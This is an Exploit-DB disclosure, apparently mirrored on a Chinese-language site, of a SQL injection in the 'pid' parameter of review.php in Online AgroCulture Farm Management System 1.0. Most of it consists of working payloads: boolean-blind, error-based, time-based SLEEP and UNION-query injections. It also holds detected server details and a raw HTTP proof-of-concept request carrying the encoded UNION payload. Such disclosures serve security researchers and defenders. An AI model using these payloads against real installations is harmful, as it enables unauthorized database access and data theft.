Online AgroCulture Farm Management System 1.0 – ‘pid’ SQL Injection

  • 作者: BKpatron
    日期: 2020-05-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48440/
  • # Exploit Title: Online AgroCulture Farm Management System 1.0 - 'pid' SQL Injection
    # Google Dork: N/A
    # Date: 2020-05-07
    # Exploit Author: BKpatron
    # Vendor Homepage: https://www.sourcecodester.com/php/14198/online-agroculture-farm-management-system-phpmysql.html
    # Software Link: https://www.sourcecodester.com/download-code?nid=14198&title=Online+AgroCulture+Farm+Management+System+in+PHP%2FMySQL
    # Version: v1.0
    # Tested on: Win 10
    # CVE: N/A
    # my website: bkpatron.com
    
    # Discription:
    The Online AgroCulture Farm Management System v1.0 application is vulnerable to
    SQL injection via the 'pid' parameter on the review.php page.
    # vulnerable file : review.php
    http://localhost/AgroCulture/review.php?pid=27
    
    Parameter: pid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pid=27' AND 5853=5853 AND 'EmvW'='EmvW
    
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: pid=27' AND (SELECT 9739 FROM(SELECT COUNT(*),CONCAT(0x7170627071,(SELECT (ELT(9739=9739,1))),0x7176626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'tpnl'='tpnl
    
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: pid=27' AND (SELECT 7650 FROM (SELECT(SLEEP(5)))bwDl) AND 'IWff'='IWff
    
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: pid=-6157' UNION ALL SELECT NULL,NULL,CONCAT(0x7170627071,0x6d7a6346644349635a495a424c56644c51666866664553794e674764546a6c67747a69634749516a,0x7176626a71),NULL,NULL,NULL,NULL,NULL-- RXWN
    [INFO] the back-end DBMS is MySQL
    web application technology: PHP, Apache 2.4.39, PHP 7.2.18
    back-end DBMS: MySQL >= 5.0
    
    
    # Proof of Concept:
    http://localhost/vulnerability/ncn/AgroCulture/review.php?pid=sqli
    
    GET AgroCulture/review.php?pid=27 HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Cookie:PHPSESSID=gd27cb23t7m8o57giuvh0f8e7m
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    pid=-6157%27%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x7170627071,0x6d7a6346644349635a495a424c56644c51666866664553794e674764546a6c67747a69634749516a,0x7176626a71),NULL,NULL,NULL,NULL,NULL--%20RXWN